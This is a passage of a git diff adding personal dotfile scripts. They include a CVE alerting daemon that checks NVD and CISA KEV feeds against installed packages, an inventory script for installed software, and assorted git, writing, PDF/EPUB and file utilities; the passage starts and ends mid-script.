"critical" + fi + if [ "$use_claude" = "true" ]; then + triage_cve "$cveid" "$desc" "$severity" "$score" + fi + notify_count=$((notify_count + 1)) + log "CRITICAL+LOCAL: $cveid ($score) [$affected_line]" + elif [ "$is_local" = "true" ]; then + if [ "$use_dunst" = "true" ]; then + notify "LOCAL: $cveid ($score) $severity\n$short_desc\naffected: $affected_line" "normal" + fi + if [ "$use_claude" = "true" ]; then + triage_cve "$cveid" "$desc" "$severity" "$score" + fi + notify_count=$((notify_count + 1)) + log "LOCAL MATCH: $cveid ($severity $score) [$affected_line]" + elif [ "$severity" = "CRITICAL" ]; then + # critical but not local: dunst only in interactive, skip in scan + if [ "$mode" = "interactive" ] && [ "$use_dunst" = "true" ]; then + notify "$cveid ($score) CRITICAL\n$short_desc" "low" + notify_count=$((notify_count + 1)) + fi + log "CRITICAL (not local): $cveid ($score)" + else + # HIGH but not local: silent, just log + log "SKIPPED (not local): $cveid ($severity $score)" + fi + done < "$nvd_tmp" + fi + + rm -f "$nvd_tmp" "$nvd_raw_file" + + # CISA KEV: actively exploited in the wild, always notify + triage + kev_raw_file=$(mktemp "$CVE_DIR/kevraw.XXXXXX") + fetch_cisa_kev_to_file "$kev_raw_file" + if [ -s "$kev_raw_file" ] && jq -e '.vulnerabilities' "$kev_raw_file" >/dev/null 2>&1; then + today=$(date '+%Y-%m-%d') + yesterday=$(date -d '-1 day' '+%Y-%m-%d' 2>/dev/null || echo "$today") + + kev_tmp=$(mktemp "$CVE_DIR/kev.XXXXXX") + jq -c --arg yd "$yesterday" '.vulnerabilities[]? | select(.dateAdded >= $yd)' "$kev_raw_file" 2>/dev/null > "$kev_tmp" + + while IFS= read -r vuln; do + cveid=$(printf '%s' "$vuln" | jq -r '.cveID' 2>/dev/null) + [ -z "$cveid" ] || [ "$cveid" = "null" ] && continue + + if is_seen "KEV-$cveid"; then + continue + fi + + desc=$(printf '%s' "$vuln" | jq -r '.shortDescription' 2>/dev/null) + kev_vendor=$(printf '%s' "$vuln" | jq -r '.vendorProject // ""' 2>/dev/null | tr '[:upper:]' '[:lower:]') + kev_product=$(printf '%s' "$vuln" | jq -r '.product // ""' 2>/dev/null | tr '[:upper:]' '[:lower:]') + mark_seen "KEV-$cveid" + + short_desc=$(printf '%.120s' "$desc") + + # match KEV vendor/product against local deps + kev_affected="" + for _kp in $kev_vendor $kev_product; do + [ -z "$_kp" ] && continue + _kp_hit=$(grep -iF "$_kp" "$DEPS_CACHE" 2>/dev/null | awk -F'\t' '{printf "%s %s (%s)\n", $1, $2, $3}' | sort -u) + [ -n "$_kp_hit" ] && kev_affected="${kev_affected:+$kev_affected, }$(echo "$_kp_hit" | tr '\n' ', ' | sed 's/, $//')" + done + + if [ -n "$kev_affected" ]; then + notify "CISA KEV: $cveid (ACTIVELY EXPLOITED)\n$short_desc\naffected: $kev_affected" "critical" + else + notify "CISA KEV: $cveid (ACTIVELY EXPLOITED)\n$short_desc\naffected: none detected" "critical" + fi + log "CISA KEV: $cveid [${kev_affected:-no local match}]" + notify_count=$((notify_count + 1)) + + triage_cve "$cveid" "$desc" "CRITICAL-KEV" "10" + done < "$kev_tmp" + rm -f "$kev_tmp" + fi + rm -f "$kev_raw_file" + + log "Check complete ($mode). Processed: $new_count, Notified: $notify_count" +} + +do_list() { + echo "=== Recent CVEs (last ${HOURS_BACK}h, severity >= $MIN_SEVERITY) ===" + list_tmp=$(mktemp "$CVE_DIR/list.XXXXXX") + fetch_nvd_to_file "$list_tmp" + if [ -s "$list_tmp" ]; then + jq -r ' + .vulnerabilities[]? | + (.cve.metrics.cvssMetricV40[0]?.cvssData.baseSeverity // .cve.metrics.cvssMetricV31[0]?.cvssData.baseSeverity // .cve.metrics.cvssMetricV30[0]?.cvssData.baseSeverity // "?") as $sev | + (.cve.metrics.cvssMetricV40[0]?.cvssData.baseScore // .cve.metrics.cvssMetricV31[0]?.cvssData.baseScore // .cve.metrics.cvssMetricV30[0]?.cvssData.baseScore // "?") as $score | + "\(.cve.id) [\($sev)] \($score) - \([.cve.descriptions[]? | select(.lang == "en") | .value][0][:100] // "")" + ' "$list_tmp" 2>/dev/null | sort -t'[' -k2 -r + fi + rm -f "$list_tmp" + echo + echo "=== Triaged (affects this system) ===" + for f in "$CVE_TRIAGE"/*.json; do + [ -f "$f" ] || continue + affected=$(jq -r '.affected' "$f" 2>/dev/null) + if [ "$affected" = "true" ]; then + cveid=$(basename "$f" .json) + pkg=$(jq -r '.package' "$f" 2>/dev/null) + urgency=$(jq -r '.urgency' "$f" 2>/dev/null) + printf '%s -> %s [%s]\n' "$cveid" "$pkg" "$urgency" + fi + done +} + +do_triage() { + echo "[*] Running triage on all unseen CVEs..." + for f in "$CVE_TRIAGE"/*.json; do + [ -f "$f" ] || continue + cveid=$(basename "$f" .json) + echo " Triaged: $cveid -> $(jq -r 'if .affected then "AFFECTED: \(.package)" else "safe" end' "$f" 2>/dev/null)" + done +} + +do_history() { + if [ -f "$CVE_LOG" ]; then + tail -50 "$CVE_LOG" + else + echo "No history yet." + fi +} + +show_help() { + cat << 'HELP' +cve -- CVE notification daemon + +Usage: + cve Interactive: dunst notifications + claude triage + email + cve --deep Hourly mode: claude triage only, email if affected (no dunst) + cve --scan 6-hour mode: dunst notifications only (no claude, saves tokens) + cve --list Print recent CVEs and triage results + cve --triage Show all triage results + cve --history Show notification log + cve --help This help + +Cron setup: + 0 */1 * * * ~/.local/bin/cve --deep # hourly: claude triage + email + 0 */6 * * * ~/.local/bin/cve --scan # every 6h: dunst notifications + +Config: edit variables at top of this script +Data: ~/.local/share/cve/ +HELP +} + +# ============================================================================ +# DISPATCH +# ============================================================================ + +case "${1:-}" in + --deep) do_check deep ;; + --scan) do_check scan ;; + --list) do_list ;; + --triage) do_triage ;; + --history) do_history ;; + --help|-h) show_help ;; + "") do_check interactive ;; + *) echo "Unknown option: $1"; show_help; exit 1 ;; +esac diff --git a/.local/bin/deps b/.local/bin/deps new file mode 100755 index 0000000000000000000000000000000000000000..5f85d754900f02c01fa4faa390aa30c8b8f09deb --- /dev/null +++ b/.local/bin/deps @@ -0,0 +1,55 @@ +#!/bin/sh +# deps -- enumerate all installed software on this system +# outputs one line per dep: NAME<tab>VERSION<tab>SOURCE +# used by cve script for local matching + +# pacman (system packages + AUR) +pacman -Q 2>/dev/null | while IFS=' ' read -r name ver; do + printf '%s\t%s\tpacman\n' "$name" "$ver" +done + +# python (pip) +pip list --format=freeze 2>/dev/null | while IFS='=' read -r name _ ver; do + [ -n "$name" ] && printf '%s\t%s\tpip\n' "$name" "$ver" +done + +# python (pipx) +pipx list --short 2>/dev/null | while read -r name ver _; do + [ -n "$name" ] && printf '%s\t%s\tpipx\n' "$name" "$ver" +done + +# node (npm global) +npm list -g --depth=0 --parseable --long 2>/dev/null | tail -n +2 | while IFS= read -r line; do + pkg=$(basename "$line" | sed 's/@[^@]*$//') + ver=$(basename "$line" | grep -o '@[^@]*$' | tr -d '@') + [ -n "$pkg" ] && printf '%s\t%s\tnpm\n' "$pkg" "$ver" +done + +# rust (cargo) +cargo install --list 2>/dev/null | grep -E '^[a-zA-Z]' | while read -r name ver _; do + ver=$(echo "$ver" | tr -d 'v:') + [ -n "$name" ] && printf '%s\t%s\tcargo\n' "$name" "$ver" +done + +# flatpak +flatpak list --columns=application,version 2>/dev/null | tail -n +1 | while IFS=$'\t' read -r app ver; do + [ -n "$app" ] && printf '%s\t%s\tflatpak\n' "$app" "$ver" +done + +# kernel +printf 'linux\t%s\tkernel\n' "$(uname -r)" + +# running services (no version, but useful for matching product names) +systemctl list-units --type=service --state=running --no-legend 2>/dev/null | awk '{print $1}' | sed 's/\.service$//' | while read -r svc; do + printf '%s\t-\tservice\n' "$svc" +done + +# docker containers +if command -v docker >/dev/null 2>&1; then + docker ps --format '{{.Image}}' 2>/dev/null | while read -r img; do + name=$(echo "$img" | sed 's/:.*//; s|.*/||') + ver=$(echo "$img" | grep -o ':.*' | tr -d ':') + [ -z "$ver" ] && ver="latest" + printf '%s\t%s\tdocker\n' "$name" "$ver" + done +fi diff --git a/.local/bin/depsize b/.local/bin/depsize new file mode 100755 index 0000000000000000000000000000000000000000..c15fa69512e8e8dd4536d87b1420bf57a20fcbbd --- /dev/null +++ b/.local/bin/depsize @@ -0,0 +1,12 @@ +#!/bin/sh +# depsize -- show size of node_modules dependencies sorted by size +# Usage: depsize [path-to-node_modules] + +nmdir="${1:-node_modules}" +[ ! -d "$nmdir" ] && { echo "No $nmdir directory found"; exit 1; } + +echo "Top 20 largest dependencies in $nmdir:" +echo "---" +du -sh "$nmdir"/* 2>/dev/null | sort -hr | head -20 +echo "---" +echo "Total: $(du -sh "$nmdir" 2>/dev/null | cut -f1)" diff --git a/.local/bin/difflines b/.local/bin/difflines new file mode 100755 index 0000000000000000000000000000000000000000..f81e48355014ef75069819f6f043c922a87a25c7 --- /dev/null +++ b/.local/bin/difflines @@ -0,0 +1,12 @@ +#!/bin/sh +# difflines -- show lines added/removed across a git range +# Usage: difflines [since] +# difflines HEAD~10 +# difflines main + +since="${1:-HEAD~1}" +added=$(git diff "$since" --numstat | awk '{s+=$1}END{print s+0}') +removed=$(git diff "$since" --numstat | awk '{s+=$2}END{print s+0}') +files=$(git diff "$since" --numstat | wc -l) + +printf "+%s -%s across %s files (since %s)\n" "$added" "$removed" "$files" "$since" diff --git a/.local/bin/dups b/.local/bin/dups new file mode 100755 index 0000000000000000000000000000000000000000..2d43aab45de89e3d74fcddee42b8cbf1df2b3fdd --- /dev/null +++ b/.local/bin/dups @@ -0,0 +1,21 @@ +#!/usr/bin/env perl +# dups -- find duplicate adjacent words +use strict; +my $red = "\033[0;31m"; +my $reset = "\033[0m"; +my $count = 0; +my $lastword = ""; +while (<>) { + chomp; + my @words = split /\s+/; + foreach my $word (@words) { + my $lc = lc($word); + $lc =~ s/[^a-z]//g; + if ($lc eq $lastword && $lc ne "") { + print "$ARGV:$.: ${red}$word${reset}\n"; + $count++; + } + $lastword = $lc; + } +} +exit ($count > 0 ? 1 : 0); diff --git a/.local/bin/epubmake b/.local/bin/epubmake new file mode 100755 index 0000000000000000000000000000000000000000..d753883895ddf2befbec772e2d0ef9a093de1c07 --- /dev/null +++ b/.local/bin/epubmake @@ -0,0 +1,54 @@ +#!/usr/bin/env bash +# epubmake -- full EPUB creation pipeline with metadata + validation +set -euo pipefail + +usage() { + echo "Usage: epubmake <input.md> [--title TITLE] [--author AUTHOR] [--cover cover.jpg]" + exit 1 +} + +[ $# -lt 1 ] && usage + +input="$1"; shift +title="" author="" cover="" output="" + +while [ $# -gt 0 ]; do + case "$1" in + --title) title="$2"; shift 2 ;; + --author) author="$2"; shift 2 ;; + --cover) cover="$2"; shift 2 ;; + --output|-o) output="$2"; shift 2 ;; + *) echo "Unknown option: $1"; usage ;; + esac +done + +[ -z "$output" ] && output="${input%.md}.epub" + +args=(-t epub3 --toc --toc-depth=2) +[ -n "$title" ] && args+=(--metadata "title=$title") +[ -n "$author" ] && args+=(--metadata "author=$author") +[ -n "$cover" ] && args+=(--epub-cover-image="$cover") + +echo "Building EPUB: $output" + +# Handle single file or directory of chapters +if [ -d "$input" ]; then + chapters=$(ls "$input"/*.md 2>/dev/null | sort -V) + [ -z "$chapters" ] && { echo "No .md files in $input"; exit 1; } + pandoc $chapters "${args[@]}" -o "$output" +else + pandoc "$input" "${args[@]}" -o "$output" +fi + +echo "Created: $output ($(du -h "$output" | cut -f1))" + +# Validate if epubcheck is available +if command -v epubcheck &>/dev/null; then + echo "" + echo "Validating..." + epubcheck "$output" 2>&1 | tail -5 +elif command -v python3 -c "import epubcheck" &>/dev/null 2>&1; then + python3 -c "from epubcheck import EpubCheck; r = EpubCheck('$output'); print('Valid' if r.valid else 'INVALID')" +else + echo "(epubcheck not installed, skipping validation)" +fi diff --git a/.local/bin/extract b/.local/bin/extract new file mode 100755 index 0000000000000000000000000000000000000000..67dd9db36a46149d950882a42404fa796f75c627 --- /dev/null +++ b/.local/bin/extract @@ -0,0 +1,34 @@ +#!/bin/sh +# extract -- extract any archive format +set -eu + +if [ -z "${1:-}" ]; then + echo "Usage: extract <archive> [archive...]" >&2 + exit 1 +fi + +for f in "$@"; do + if [ ! -f "$f" ]; then + echo "Not a file: $f" >&2 + continue + fi + case "$f" in + *.tar.bz2|*.tbz2) tar xjf "$f" ;; + *.tar.gz|*.tgz) tar xzf "$f" ;; + *.tar.xz|*.txz) tar xJf "$f" ;; + *.tar.zst) tar --zstd -xf "$f" ;; + *.tar) tar xf "$f" ;; + *.bz2) bunzip2 "$f" ;; + *.gz) gunzip "$f" ;; + *.xz) xz -d "$f" ;; + *.zst) zstd -d "$f" ;; + *.rar) unrar x "$f" ;; + *.zip) unzip "$f" ;; + *.7z) 7z x "$f" ;; + *.Z) uncompress "$f" ;; + *.lzma) unlzma "$f" ;; + *.deb) ar x "$f" ;; + *.rpm) rpm2cpio "$f" | cpio -idmv ;; + *) echo "Unknown format: $f" >&2 ;; + esac +done diff --git a/.local/bin/gbd b/.local/bin/gbd new file mode 100755 index 0000000000000000000000000000000000000000..15bb908684e8a63c0ce614e1a2ca6be365df7d26 --- /dev/null +++ b/.local/bin/gbd @@ -0,0 +1,26 @@ +#!/bin/sh +# gbd -- interactive git branch deletion with fzf +set -eu + +protected="main master develop" + +branches=$(git branch --sort=-committerdate | sed 's/^..//' | grep -v "^$(git branch --show-current)$") + +for p in $protected; do + branches=$(echo "$branches" | grep -v "^${p}$" || true) +done + +if [ -z "$branches" ]; then + echo "No deletable branches" + exit 0 +fi + +selected=$(echo "$branches" | fzf -m \ + --header "Select branches to delete (TAB to multi-select)" \ + --preview 'git log --oneline --graph --color=always {} | head -20') + +if [ -n "$selected" ]; then + echo "$selected" | while read -r branch; do + git branch -d "$branch" 2>/dev/null || echo "Cannot delete $branch (not fully merged, use -D to force)" + done +fi diff --git a/.local/bin/gitstat b/.local/bin/gitstat new file mode 100755 index 0000000000000000000000000000000000000000..657718bb06baba01648ef914bec251e6449ca624 --- /dev/null +++ b/.local/bin/gitstat @@ -0,0 +1,32 @@ +#!/bin/sh +# gitstat -- quick git project health overview +# Usage: gitstat [path] + +dir="${1:-.}" +cd "$dir" 2>/dev/null || { echo "Not a directory: $dir"; exit 1; } +git rev-parse --git-dir >/dev/null 2>&1 || { echo "Not a git repo: $dir"; exit 1; } + +branch=$(git rev-parse --abbrev-ref HEAD 2>/dev/null) +remote=$(git rev-parse --abbrev-ref '@{upstream}' 2>/dev/null || echo "none") +ahead=$(git rev-list --count '@{upstream}'..HEAD 2>/dev/null || echo "?") +behind=$(git rev-list --count 'HEAD..@{upstream}' 2>/dev/null || echo "?") +staged=$(git diff --cached --numstat 2>/dev/null | wc -l) +unstaged=$(git diff --numstat 2>/dev/null | wc -l) +untracked=$(git ls-files --others --exclude-standard 2>/dev/null | wc -l) +last_commit=$(git log -1 --format='%ar - %s' 2>/dev/null) +total_commits=$(git rev-list --count HEAD 2>/dev/null) +contributors=$(git shortlog -sn --all 2>/dev/null | wc -l) + +printf "Branch: %s\n" "$branch" +printf "Tracking: %s\n" "$remote" +printf "Ahead/Behind: +%s / -%s\n" "$ahead" "$behind" +printf "Staged: %s files\n" "$staged" +printf "Unstaged: %s files\n" "$unstaged" +printf "Untracked: %s files\n" "$untracked" +printf "Last commit: %s\n" "$last_commit" +printf "Total: %s commits by %s contributors\n" "$total_commits" "$contributors" + +if [ "$unstaged" -gt 0 ] || [ "$staged" -gt 0 ] || [ "$untracked" -gt 0 ]; then + echo "---" + git status -sb +fi diff --git a/.local/bin/httptime b/.local/bin/httptime new file mode 100755 index 0000000000000000000000000000000000000000..c00472e35b369cc102fe605351d0273c23403204 --- /dev/null +++ b/.local/bin/httptime @@ -0,0 +1,19 @@ +#!/bin/sh +# httptime -- show HTTP response timing breakdown +set -eu + +if [ -z "${1:-}" ]; then + echo "Usage: httptime <url>" >&2 + exit 1 +fi + +curl -o /dev/null -s -w " + DNS: %{time_namelookup}s + Connect: %{time_connect}s + TLS: %{time_appconnect}s + TTFB: %{time_starttransfer}s + Total: %{time_total}s + Size: %{size_download} bytes + Status: %{http_code} + Redirects: %{num_redirects} +" "$1" diff --git a/.local/bin/kwic b/.local/bin/kwic new file mode 100755 index 0000000000000000000000000000000000000000..670d3b7e606c20139eabdcbd47296c00baa94351 --- /dev/null +++ b/.local/bin/kwic @@ -0,0 +1,8 @@ +#!/usr/bin/env bash +# kwic -- KWIC concordancer +# Usage: kwic <pattern> <file> [context_words] +pattern="${1:?Usage: kwic <pattern> <file> [context_words]}" +file="${2:?Provide a file}" +ctx="${3:-5}" +grep -oP "(\S+\s+){0,$ctx}\S*${pattern}\S*(\s+\S+){0,$ctx}" "$file" | \ + sed "s/${pattern}/\x1b[1;31m&\x1b[0m/g" diff --git a/.local/bin/links b/.local/bin/links new file mode 100755 index 0000000000000000000000000000000000000000..45f55a119505ee067d059b24f590b69340ca31e7 --- /dev/null +++ b/.local/bin/links @@ -0,0 +1,73 @@ +#!/bin/sh + +DB="${BUKU_DB:-$HOME/.local/share/buku/bookmarks.db}" +DMENU_CMD="${DMENU_CMD:-dmenu -i -l 20 -p Bookmarks: -nb #737573 -nf #000000 -sb #005dbb -sf #ffffea}" + +die() { + if command -v notify-send >/dev/null 2>&1; then + notify-send "links" "$1" + else + printf '%s\n' "$1" >&2 + fi + exit 1 +} + +entries() { + [ -f "$DB" ] || die "No buku database found" + + sqlite3 -separator ' ' "$DB" " + SELECT + id, + COALESCE(NULLIF(metadata, ''), URL), + trim(tags, ','), + URL, + replace(replace(desc, char(10), ' '), char(13), ' ') + FROM bookmarks + ORDER BY id; + " | awk -F ' ' ' + { + line = "[" $1 "] " $2 + if ($3 != "") { + line = line " #" $3 + } + line = line " <" $4 ">" + if ($5 != "") { + line = line " " $5 + } + print line + } + ' +} + +url_for_id() { + sqlite3 "$DB" "SELECT URL FROM bookmarks WHERE id = $1 LIMIT 1;" +} + +case "${1:-open}" in + print|list) + entries + ;; + open|"") + choice=$(entries | sh -c "$DMENU_CMD") || exit 0 + [ -n "$choice" ] || exit 0 + id=$(printf '%s\n' "$choice" | sed -n 's/^\[\([0-9][0-9]*\)\].*/\1/p') + [ -n "$id" ] || exit 0 + url=$(url_for_id "$id") + [ -n "$url" ] || die "Bookmark not found" + linkhandler "$url" + ;; + copy) + choice=$(entries | sh -c "$DMENU_CMD") || exit 0 + [ -n "$choice" ] || exit 0 + id=$(printf '%s\n' "$choice" | sed -n 's/^\[\([0-9][0-9]*\)\].*/\1/p') + [ -n "$id" ] || exit 0 + url=$(url_for_id "$id") + [ -n "$url" ] || die "Bookmark not found" + printf '%s' "$url" | xclip -selection clipboard + notify-send "links" "Copied URL" + ;; + *) + printf 'Usage: links [open|copy|print]\n' >&2 + exit 1 + ;; +esac diff --git a/.local/bin/lint-all b/.local/bin/lint-all new file mode 100755 index 0000000000000000000000000000000000000000..48489d623bfbbcd51d3a37b7f08cfe65b032c306 --- /dev/null +++ b/.local/bin/lint-all @@ -0,0 +1,49 @@ +#!/usr/bin/env bash +# lint-all -- run all prose linters on a file and summarize +set -euo pipefail + +file="${1:?Usage: lint-all <file>}" +total=0 + +run_linter() { + local name="$1" cmd="$2" + echo "========== $name ==========" + local output + output=$(eval "$cmd" 2>/dev/null) || true + if [ -n "$output" ]; then + echo "$output" + local count + count=$(echo "$output" | wc -l) + total=$((total + count)) + else + echo "(clean)" + fi + echo "" +} + +if command -v vale &>/dev/null; then + run_linter "VALE" "vale '$file'" +fi + +if command -v proselint &>/dev/null; then + run_linter "PROSELINT" "proselint '$file'" +fi + +if command -v write-good &>/dev/null; then + run_linter "WRITE-GOOD" "write-good '$file'" +fi + +if command -v alex &>/dev/null; then + run_linter "ALEX" "alex '$file'" +fi + +if command -v diction &>/dev/null; then + run_linter "DICTION" "diction -s '$file'" +fi + +if command -v harper &>/dev/null; then + run_linter "HARPER" "harper lint '$file'" +fi + +echo "========== SUMMARY ==========" +echo "Total issues: ~$total" diff --git a/.local/bin/macro-etym b/.local/bin/macro-etym new file mode 100755 index 0000000000000000000000000000000000000000..35e75f769041b56a6303013e0c9ec0498d6c9891 --- /dev/null +++ b/.local/bin/macro-etym @@ -0,0 +1,5 @@ +#!/usr/bin/env bash +# macro-etym -- analyze etymological composition of a text +# Requires: pip install macroetym +file="${1:?Usage: macro-etym <file>}" +macroetym "$file" diff --git a/.local/bin/mkscript b/.local/bin/mkscript new file mode 100755 index 0000000000000000000000000000000000000000..61416520b94331829ab07ea787cefe6f37448b67 --- /dev/null +++ b/.local/bin/mkscript @@ -0,0 +1,29 @@ +#!/bin/sh +# mkscript -- create a new shell script with boilerplate +set -eu + +if [ -z "${1:-}" ]; then + echo "Usage: mkscript <name>" >&2 + exit 1 +fi + +name="$1" + +if [ -f "$name" ]; then + echo "File already exists: $name" >&2 + exit 1 +fi + +cat > "$name" << 'EOF' +#!/bin/sh +set -eu + +main() { + echo "hello" +} + +main "$@" +EOF + +chmod +x "$name" +echo "[+] Created $name" diff --git a/.local/bin/nanowrimo b/.local/bin/nanowrimo new file mode 100755 index 0000000000000000000000000000000000000000..57ee1e7943a2670d11f0a10d0022341d2bf71567 --- /dev/null +++ b/.local/bin/nanowrimo @@ -0,0 +1,74 @@ +#!/usr/bin/env bash +# nanowrimo -- daily word count progress tracker toward a goal +set -euo pipefail + +usage() { + echo "Usage: nanowrimo <dir-or-file> [--goal N] [--days N] [--start YYYY-MM-DD]" + echo "" + echo "Defaults: 50000 words, 30 days, start=today" + exit 1 +} + +[ $# -lt 1 ] && usage + +target="$1"; shift +goal=50000 total_days=30 start_date="" + +while [ $# -gt 0 ]; do + case "$1" in + --goal) goal="$2"; shift 2 ;; + --days) total_days="$2"; shift 2 ;; + --start) start_date="$2"; shift 2 ;; + *) echo "Unknown option: $1"; usage ;; + esac +done + +[ -z "$start_date" ] && start_date=$(date +%Y-%m-%d) + +# Count current words +if [ -f "$target" ]; then + current=$(wc -w < "$target") +else + current=$(find "$target" -name '*.md' -o -name '*.mdx' -o -name '*.txt' 2>/dev/null | xargs cat 2>/dev/null | wc -w) +fi + +# Calculate days elapsed +today=$(date +%s) +start=$(date -d "$start_date" +%s 2>/dev/null || date -jf "%Y-%m-%d" "$start_date" +%s 2>/dev/null) +elapsed=$(( (today - start) / 86400 )) +[ "$elapsed" -lt 0 ] && elapsed=0 +remaining_days=$((total_days - elapsed)) +[ "$remaining_days" -lt 1 ] && remaining_days=1 + +remaining_words=$((goal - current)) +[ "$remaining_words" -lt 0 ] && remaining_words=0 +daily_needed=$((remaining_words / remaining_days)) +pct=$((current * 100 / goal)) + +# Progress bar +bar_width=40 +filled=$((pct * bar_width / 100)) +[ "$filled" -gt "$bar_width" ] && filled=$bar_width +empty=$((bar_width - filled)) +bar=$(printf '%0.s#' $(seq 1 $filled 2>/dev/null) 2>/dev/null || true) +gap=$(printf '%0.s-' $(seq 1 $empty 2>/dev/null) 2>/dev/null || true) + +echo "Goal: $goal words in $total_days days (started $start_date)" +echo "" +echo "Progress: [$bar$gap] $pct%" +echo "" +echo "Current: $current words" +echo "Remaining: $remaining_words words" +echo "Days elapsed: $elapsed / $total_days" +echo "Days left: $remaining_days" +echo "Daily needed: $daily_needed words/day" + +if [ "$elapsed" -gt 0 ]; then + daily_avg=$((current / elapsed)) + echo "Daily average: $daily_avg words/day" + if [ "$daily_avg" -ge "$daily_needed" ]; then + echo "Status: ON TRACK" + else + echo "Status: BEHIND (need $(( daily_needed - daily_avg )) more/day)" + fi +fi diff --git a/.local/bin/note-graph b/.local/bin/note-graph new file mode 100755 index 0000000000000000000000000000000000000000..cba304ea1dd2e36d86e56afe0306b0e99865ea30 --- /dev/null +++ b/.local/bin/note-graph @@ -0,0 +1,20 @@ +#!/usr/bin/env bash +# note-graph -- generate link graph from [[wikilink]] notes +# Usage: note-graph [notes_dir] [output.dot] +set -euo pipefail +notes_dir="${1:-$HOME/notes}" +output="${2:-/dev/stdout}" + +echo "digraph notes {" > "$output" +echo ' rankdir=LR;' >> "$output" +echo ' node [shape=box, style=rounded, fontname="monospace"];' >> "$output" + +for f in "$notes_dir"/*.md; do + [ -f "$f" ] || continue + src=$(basename "$f" .md) + grep -oP '\[\[([^\]|]+)' "$f" 2>/dev/null | sed 's/\[\[//' | while read -r target; do + echo " \"$src\" -> \"$target\";" >> "$output" + done +done + +echo "}" >> "$output" diff --git a/.local/bin/param-sweep b/.local/bin/param-sweep new file mode 100755 index 0000000000000000000000000000000000000000..00ebebf24f4be30e4f23a3ac461a24f25b245c15 --- /dev/null +++ b/.local/bin/param-sweep @@ -0,0 +1,9 @@ +#!/usr/bin/env bash +# param-sweep -- run a command across parameter combinations +# Usage: param-sweep <command> <param_file> +# param_file: TSV, one combination per line +set -euo pipefail +cmd="${1:?Usage: param-sweep <command> <params.tsv>}" +params="${2:?Provide a TSV parameter file}" +ncores="${3:-$(nproc)}" +parallel -j "$ncores" --colsep '\t' "$cmd" :::: "$params" diff --git a/.local/bin/passive b/.local/bin/passive new file mode 100755 index 0000000000000000000000000000000000000000..f116aa6dbd92862156f7fa1349eebe3a337a0a71 --- /dev/null +++ b/.local/bin/passive @@ -0,0 +1,27 @@ +#!/usr/bin/env bash +# passive -- find passive voice in prose +irregulars="awoken|been|born|beat|become|begun|bent|\ +bet|bit|bitten|bled|blown|broken|bred|brought|broadcast|\ +built|burnt|burst|bought|caught|chosen|clung|come|cost|\ +crept|cut|dealt|dug|dived|done|drawn|dreamt|driven|drunk|\ +eaten|fallen|fed|felt|fought|found|flung|flown|forbidden|\ +forgotten|forgiven|frozen|gotten|given|gone|ground|grown|\ +hung|had|heard|hidden|hit|held|hurt|kept|knelt|knit|known|\ +laid|led|leapt|learnt|left|lent|let|lain|lit|lost|made|\ +meant|met|paid|pled|proven|put|quit|read|ridden|rung|risen|\ +run|said|seen|sought|sold|sent|set|sewn|shaken|shaven|\ +shorn|shed|shone|shod|shot|shown|shrunk|shut|sung|sunk|\ +sat|slain|slept|slid|slung|slit|smitten|sown|spoken|spent|\ +spilt|spun|spit|split|spread|sprung|stood|stolen|stuck|\ +stung|stunk|strewn|struck|strung|striven|sworn|swept|swollen|\ +swum|swung|taken|taught|torn|told|thought|thrown|thrust|\ +trodden|understood|upheld|upset|woken|worn|woven|wed|wept|\ +wound|won|withheld|withstood|wrung|written" + +if [ "$1" = "" ]; then + echo "Usage: $(basename "$0") <file> ..." + exit 1 +fi + +egrep -n -i --color \ + "\\b(am|are|were|being|is|been|was|be)\b[ ]*(\w+ed|$irregulars)\\b" "$@" diff --git a/.local/bin/pdf2bib-batch b/.local/bin/pdf2bib-batch new file mode 100755 index 0000000000000000000000000000000000000000..7057edb93034d8c114b8f3d5d4b69e255bd31ae1 --- /dev/null +++ b/.local/bin/pdf2bib-batch @@ -0,0 +1,16 @@ +#!/usr/bin/env bash +# pdf2bib-batch -- extract BibTeX from all PDFs in a directory +set -euo pipefail +dir="${1:-.}" +out="${2:-references.bib}" +: > "$out" +for pdf in "$dir"/*.pdf; do + [ -f "$pdf" ] || continue + echo "Processing: $(basename "$pdf")" >&2 + bib=$(pdf2bib "$pdf" 2>/dev/null) || continue + if [ -n "$bib" ]; then + echo "$bib" >> "$out" + echo "" >> "$out" + fi +done +echo "Wrote: $out" >&2 diff --git a/.local/bin/pdfprint b/.local/bin/pdfprint new file mode 100755 index 0000000000000000000000000000000000000000..89ac8afc41b55789f59657fc8b18d0abc6bf43af --- /dev/null +++ b/.local/bin/pdfprint @@ -0,0 +1,61 @@ +#!/usr/bin/env bash +# pdfprint -- print-ready PDF with proper margins, headers, Shunn-style +set -euo pipefail + +usage() { + echo "Usage: pdfprint <input.md> [--format shunn|book|essay] [--output file.pdf]" + exit 1 +} + +[ $# -lt 1 ] && usage + +input="$1"; shift +format="essay" output="" + +while [ $# -gt 0 ]; do + case "$1" in + --format|-f) format="$2"; shift 2 ;; + --output|-o) output="$2"; shift 2 ;; + *) echo "Unknown option: $1"; usage ;; + esac +done + +[ -z "$output" ] && output="${input%.md}.pdf" + +case "$format" in + shunn) + # Standard manuscript format (Shunn) + pandoc "$input" --pdf-engine=xelatex \ + -V geometry:margin=1in \ + -V fontsize:12pt \ + -V linestretch:2 \ + -V mainfont:"Courier New" \ + -V header-includes:'\usepackage{fancyhdr}\pagestyle{fancy}\fancyhead[R]{\thepage}' \ + -o "$output" + ;; + book) + # Book interior format (6x9, tighter margins) + pandoc "$input" --pdf-engine=xelatex \ + -V geometry:'paperwidth=6in,paperheight=9in,margin=0.75in,inner=0.875in' \ + -V fontsize:11pt \ + -V linestretch:1.3 \ + -V mainfont:"Linux Libertine" \ + --toc \ + -o "$output" + ;; + essay) + # Clean essay format + pandoc "$input" --pdf-engine=xelatex \ + -V geometry:margin=1in \ + -V fontsize:12pt \ + -V linestretch:1.5 \ + -V mainfont:"Linux Libertine" \ + -o "$output" + ;; + *) + echo "Unknown format: $format (use shunn, book, or essay)" + exit 1 + ;; +esac + +echo "Created: $output ($format format, $(du -h "$output" | cut -f1))" diff --git a/.local/bin/portfind b/.local/bin/portfind new file mode 100755 index 0000000000000000000000000000000000000000..2bc1950114396981b2450d972a736c4009661911 --- /dev/null +++ b/.local/bin/portfind @@ -0,0 +1,21 @@ +#!/bin/sh +# portfind -- find what is using a port, or find a free port +# Usage: portfind <port> -- show what's on this port +# portfind --free -- find a random free port +# portfind --free 8000 -- find free port starting from 8000 +# Update: need to expand to include a port mapping of --free jumps to first before suggesting random free port. +if [ "$1" = "--free" ]; then + start="${2:-3000}" + port="$start" + while ss -tlnp "sport = :$port" 2>/dev/null | grep -q LISTEN; do + port=$((port + 1)) + done + echo "$port" +else + port="$1" + [ -z "$port" ] && { echo "Usage: portfind <port> | 